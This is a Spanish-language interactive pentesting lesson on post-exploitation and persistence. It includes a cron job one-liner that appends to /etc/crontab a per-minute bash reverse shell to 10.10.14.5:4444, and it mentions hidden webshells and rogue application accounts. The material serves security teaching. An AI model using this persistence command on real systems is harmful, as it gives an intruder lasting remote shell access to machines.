Para empezarEntrar una vez es fácil; el verdadero reto en un pentest es mantener el acceso sin que los sistemas de defensa te echen.
¿Qué es la Post-explotación?
La post-explotación es la fase del pentesting que comienza justo después de comprometer un sistema. Su objetivo principal es evaluar el valor real del activo, buscar datos sensibles, pivotar hacia otras redes y, crucialmente, establecer mecanismos de persistencia para no perder el acceso conseguido.
El peligro de un acceso efímero
Más del 70% de las brechas simuladas fallan en los objetivos a largo plazo porque los pentesters dependen de shells reversibles volátiles que mueren con un simple reinicio o actualización de seguridad.
Fases clave tras la intrusión
Antes de crear persistencia, debes realizar una serie de comprobaciones rápidas y metódicas en el entorno comprometido.
Marca cada paso al entenderlo · 0/4
Creando un Cron Job persistente
Una técnica clásica de persistencia en Linux consiste en añadir una tarea programada que ejecute una reverse shell de forma periódica.
$ echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' >> /etc/crontab
$ crontab -l
no crontab for root
$ tail -n 1 /etc/crontab
El riesgo del ruido defensivo
Modificar archivos del sistema como crontab, crear servicios nuevos o añadir claves SSH en carpetas públicas son acciones altamente ruidosas. Los equipos SOC modernos y las soluciones EDR detectan estas modificaciones de integridad casi de inmediato si no se programan con cautela.
Persistencia a nivel de Aplicación
Para evitar los controles del sistema operativo base, los atacantes y auditores avanzados suelen buscar persistencia en capas superiores, como webshells ocultas en directorios web o cuentas de usuario fraudulentas dentro de aplicaciones CRM o gestores de bases de datos.
¿Te acuerdas? Toca para comprobarlo
Atajos: ← → para cambiar de pieza · / para buscar